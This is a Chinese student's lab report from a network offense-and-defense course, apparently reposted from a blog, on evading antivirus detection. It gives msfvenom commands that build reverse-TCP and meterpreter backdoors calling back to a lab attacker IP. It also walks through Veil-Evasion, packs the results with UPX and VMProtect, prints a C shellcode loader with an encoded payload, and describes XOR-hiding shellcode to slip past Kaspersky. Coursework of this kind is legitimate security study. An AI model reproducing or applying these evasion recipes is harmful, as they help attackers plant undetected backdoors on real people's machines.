zoukankan      html  css  js  c++  java
  • 2019-2020-2 20174317祝源《网络对抗技术》Exp3 免杀原理与实践

    1. 实验目的

    使用各种技术对恶意软件做处理,让它不被杀毒软件所检测出来。

    2. 基础知识

    2.1. 恶意软件检测机制

    2.1.1. 基于特征码的检测

    简单来说一段特征码就是一段或多段数据如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。,这种检测方式的特是:精确检测,但滞后,需要先得到特征码才能检测出恶意软件。

    2.1.2. 启发式恶意软件检测

    启发式Heuristic,简单来说,就是根据些片面特征去推断,比如软件的行为、软件的签名等。通常是在没有精确判定依据时使用启发式检测。这种检测方式的优点是:可以检测0-day恶意软件,具有一定通用性,缺点是:实时监控系统行为,开销稍多;没有基于特征码的精确度高,可能错判

    2.1.3. 基于行为的恶意软件检测

    从理论上讲,基于行为的检测相当于是启发式的一种,更侧重于监控软件的行为。有一些行为是恶意代码共有的,而且比较特殊,在正常代码中比较罕见。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。这种检测方法可预报未知的多数病毒,但不能发现是哪种病毒。

    2.2. 免杀技术(Evading AV)综述

    2.2.1. 改变特征码

    如果只有EXE,可以加压缩壳或加密壳;如果有shellcode(像Meterpreter),可以使用encode进行编码,或基于payload重新编译生成可执行文件;如果有源代码,可以用其他语言进行重写再编译

    2.2.2. 改变行为

    通讯方式上,可尽量使用反弹式连接,或使用隧道技术,并加密通讯数据;在操作模式上,基于内存操作,或减少对系统的修改,或加入混淆作用的正常功能代码。

    2.2.3. 非常规方式

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件。

    2.3. 留后门的思路

    写一个有漏洞的软件,开一个服务端口(这个端口就是后门)。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。

    3. 免杀工具使用

    攻击机是kali,IP是192.168.0.103

    3.1. 使用msf不同编码器

    使用msfvenom生成后门程序时,可以使用-e参数指定要使用的编码器,-p可以指定payload,那具体有哪些编码器和payload可以使用呢?

    payload存放在/usr/share/metasploit-framework/modules/payloads/{singles,stages,stagers}/<platform>中,MSF的编码器存放在目录/usr/share/metasploit-framework/modules/encoders下。可以发现MSF的编码器和payload都是按语言或平台类型来存放的。更详细的讲解请看这篇博文

    这次payload使用bind_tcp_uuid.rb,使用x64xor.rb编码器。

    使用命令msfvenom -p windows/x64/pingback_reverse_tcp -e x86/xor_dynamic -b 'x00x0a' LHOST=192.168.0.103 LPORT=4317 -f exe > zy20174317_backdoor.exe生成后门程序。

    msf生成后门程序

    使用virustotal检测结果如下:

    使用不同的payload可以稍微减少检出率。

    3.2. msfvenom生成如jar之类的其他文件

    生成python

    msfvenom -p windows/x64/pingback_reverse_tcp -e x86/xor_dynamic -b 'x00x0a' LHOST=192.168.0.103 LPORT=4317 -f py > zy20174317_backdoor.py
    

    居然0报毒

    PY_pingback扫描结果

    msfvenom -p python/meterpreter_reverse_tcp -e x86/xor_dynamic -b 'x00x0a' LHOST=192.168.0.103 LPORT=4317 -f py > zy20174317_backdoor.py
    

    也是0报毒

    PY扫描结果

    生成php

    msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.103 LPORT=4317 -f raw > zy20174317_backdoor.php
    

    能够检查出来是病毒,但是多数杀软还是认为没有毒的。

    PHP扫描结果

    3.3. veil

    3.3.1. veil安装

    我使用以下方法成功安装,大概花了几十分钟吧:
    先使用以下命令下载veil:

    sudo apt-get update
    sudo apt-get install -y veil-evasion
    

    在update时出现了问题,出现这种提示“文件尺寸不符。您使用的镜像正在同步中?”。将http的镜像源改为https后问题解决。

    下载完后,在终端中输入veil进行安装。

    安装完AutoIt3后会报错,这时将/var/lib/veil/wine/drive_c/Program Files (x86)下的AutoIt3文件夹复制到/var/lib/veil/wine/drive_c/Program Files下,然后再次在终端中输入veil进行安装(之前已经安装的软件不会被重复安装)。

    3.3.2. veil使用

    • use 1 使用免杀服务

    • list 列出能够使用的模块

    • use 39 使用ruby/meterpreter/rev_tcp.py

    • 使用set LHOST 192.168.0.103set LPORT 4317设置反向连接的ip的端口。

    • 输入generate生成文件,生成的可执行文件位于/var/lib/veil/output/compiled/下,msf的脚本位于/var/lib/veil/output/handlers/下,源代码在/var/lib/veil/output/source/文件夹里。

      ruby_生成

    • 检测结果如下:

      ruby_扫描结果

    3.4. 加壳工具

    3.4.1. UPX

    使用UPX给上一步veil生成的恶意软件加压缩壳:upx 20174317_ruby.exe -o 20174317_ruby_upx.exe

    检测,比未加壳时稍微好了一点:

    ruby_upx扫描结果

    3.4.2. VMProtect

    下载后,使用VMProtect加壳,加壳之后文件大了不少:

    ruby_VM加壳

    检测结果如下:

    ruby_vm扫描结果

    3.5. 使用C+shellcode

    3.5.1. 使用veil生成shellcode

    1.进入veil后输入use 2使用Ordnance

    2.use rev_tcp 使用反向tcp连接

    3.使用set LHOSTset LPORT设置IP端口号,使用set Encoder xor使用xor编码器(用list encoders命令看了,好像就这一个编码器),输入generate生成shellcode

    veil_shellcode设置

    也可使用msfvenom生成:msfvenom -p windows/meterpreter/reverse_tcp -e x86/xor_dynamic -b 'x00x0a' lhost=192.168.0.103 lport=4317 -f c

    veil生成shellcode

    3.5.2. 编写调用shellcode的C语言程序

    网上找的代码如下:

    #include <windows.h>
    
    using namespace std;
    int main(int argc, char **argv){
    	unsigned char buf[] = 
    	"xebx23x5bx89xdfxb0xe4xfcxaex75xfdx89xf9x89xde"
    	"x8ax06x30x07x47x66x81x3fxbax89x74x08x46x80x3e"
    	"xe4x75xeexebxeaxffxe1xe8xd8xffxffxffx13xe4xef"
    	"xfbx91x13x13x13x73x9axf6x22xd3x77x98x43x23x98"
    	"x41x1fx98x41x07x98x61x3bx1cxa4x59x35x22xecxbf"
    	"x2fx72x6fx11x3fx33xd2xdcx1ex12xd4xf1xe1x41x44"
    	"x98x41x03x98x59x2fx98x5fx02x6bxf0x5bx12xc2x42"
    	"x98x4ax33x12xc0x98x5ax0bxf0x29x5ax98x27x98x12"
    	"xc5x22xecxbfxd2xdcx1ex12xd4x2bxf3x66xe5x10x6e"
    	"xebx28x6ex37x66xf7x4bx98x4bx37x12xc0x75x98x1f"
    	"x58x98x4bx0fx12xc0x98x17x98x12xc3x9ax57x37x37"
    	"x48x48x72x4ax49x42xecxf3x4cx4cx49x98x01xf8x9e"
    	"x4ex7bx20x21x13x13x7bx64x60x21x4cx47x7bx5fx64"
    	"x35x14x9axfbxecxc3xabx83x12x13x13x3axd7x47x43"
    	"x7bx3ax93x78x13xecxc6x79x19x7bxd3xbbx13x74x7b"
    	"x11x13x03xcex9axf5x43x43x43x43x53x43x53x43x7b"
    	"xf9x1cxccxf3xecxc6x84x79x03x45x44x7bx8axb6x67"
    	"x72xecxc6x96xd3x67x19xecx5dx1bx66xffxfbx74x13"
    	"x13x13x79x13x79x17x45x44x7bx11xcaxdbx4cxecxc6"
    	"x90xebx13x6dx25x98x25x79x53x7bx13x03x13x13x45"
    	"x79x13x7bx4bxb7x40xf6xecxc6x80x40x79x13x45x40"
    	"x44x7bx11xcaxdbx4cxecxc6x90xebx13x6ex3bx4bx7b"
    	"x13x53x13x13x79x13x43x7bx18x3cx1cx23xecxc6x44"
    	"x7bx66x7dx5ex72xecxc6x4dx4dxecx1fx37x1cx96x63"
    	"xecxecxecxfax88xecxecxecx12xd0x3axd5x66xd2xd0"
    	"xa8xe3xa6xb1x45x79x13x40xecxc6xbax89";
        void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(exec, buf, sizeof buf);
        ((void(*)())exec)();
        return 0;
    }
    

    c+shellcoed检测结果

    检测,居然只有两个杀软查出来,免杀率很高啊!但是神奇的是这个程序运行之后kali的msf里完全没有反应,就是说这段代码没用(这大概就是为什么通过率这么高的原因吧)。看别人好像可以,应该是我的编译器的问题

    3.6. 使用其他课堂未介绍方法

    使用veil的Evasion的lua/shellcode_inject/flat.py,什么都不需要设置,直接生成,会要求选择生成或提供shellcode(Generate or supply custom shellcode),有以下5个选项:

    1.Ordnance(default),使用veil的Ordnance生成shellcode。
    2.MSFVenom,使用MSFVenom生成shellcode。
    3.Custom shellcode string,让我自己提供shellcode的意思。
    4.File with shellcode (x41x42),使用含有shellcode的文本文件。
    5.Binary File with shellcode,使用含有shellcode的二进制文件。
    

    xuanzhe

    这里选择1,使用veil生成shellcode。输入use reverse_tcp,和之前一样使用set设置LPORT和LHOST,输入generate生成。生成后会自动跳转回Evasion继续生成lua脚本文件。生成的脚本位于/var/lib/veil/output/source文件夹下。

    生成后检测如图,免杀率挺高的。

    lua检测结果

    4. 免杀与回连成功

    4.1. 将shellcode异或后存储并在运行时恢复

    基于C+shellcode,不同于直接执行shellcode而是先将shellcode与自己选择的任意字符进行异或操作,将异或后的字符串保存到程序中。程序在运行时会先恢复shellcode再运行。使用VS2017创建Windows应用程序进行编译,参考这篇博客,编译完成后使用upx加壳。使用我自己的主机,经测试能回连并和杀软共存。源代码在此

    不能使用通过VirtualAlloc分配内存再执行的方法,而是使用了在编译时设置数据段可执行,然后再将shellcode数组的地址转为函数指针来执行shellcode的方式。

    杀毒软件名称:卡巴斯基安全软件,版本为:20.0.14.1085(i),更新到了最新版的数据库

    virustotal检测结果如下:

    不过这也只是做到了和杀软共存,但在运行的时候还是被拦截下来了,提示检测到恶意行为,需要我点同意才能继续。

    5. 问题回答

    5.1. 基础问题回答

    5.1.1. 杀软是如何检测出恶意代码的?

    可以使用特征码进行检测,如果通过特征码检测不出来的话可以检测软件的签名、编译器之类的。最后就是可以检测它有没有异常行为。

    5.1.2. 免杀是做什么?

    让杀毒软件检测不出来一个恶意软件是恶意软件,让恶意软件能够顺利运行,在被攻击者的主机上留下后门或搞破坏什么的。

    5.1.3. 免杀的基本方法有哪些?

    一是更改特征码,比如将shellcode编码、将软件加壳、用别的语言重写。二是使用更隐蔽的行为,比如使用反向连接、加入正常代码。三是使用一些其他的方法,比如社工类攻击方法,我们下载的破解版软件,经常能在压缩包里看见一个“本软件已破解,可能会被杀毒软件报毒,请关闭杀毒软件后再运行”。

    5.2. 开启杀软能绝对防止电脑中恶意代码吗?

    不能,杀毒软件也不是万能的,恶意软件会采用各种手段来免杀,总有一些是杀软暂时不能查出来的。

    6. 实践总结与体会

    经过这次实验,更加理解了信息安全的重要性,网络空间上随时都有攻击在发生,更有一些是以窃取国家MM为目标的,如果不做好防护的话,后果是很严重的。做这次实验前以为装了杀软电脑就很安全了,没想到还有这么多绕过杀毒软件的方法。但装杀毒软件也是很重要的,杀毒软件也要及时更新。有个杀软总比没有好。

  • 相关阅读:
    node.js结合wechaty实现微信机器人[基础篇]
    .env文件为NodeJS全局环境变量
    基于jquery实现一个提示插件
    Puppeteer实现一个超简单的自动化机器人
    Vue高仿阿里动态banner,制作组件
    css不常用属性
    Vue表单校验失败滚动到错误位置
    C# Func委托
    深入解析C# 4th 笔记(第一章)
    C# 笔记 XML基础
  • 原文地址:https://www.cnblogs.com/20174317zhuyuan/p/12616442.html
Copyright © 2011-2022 走看看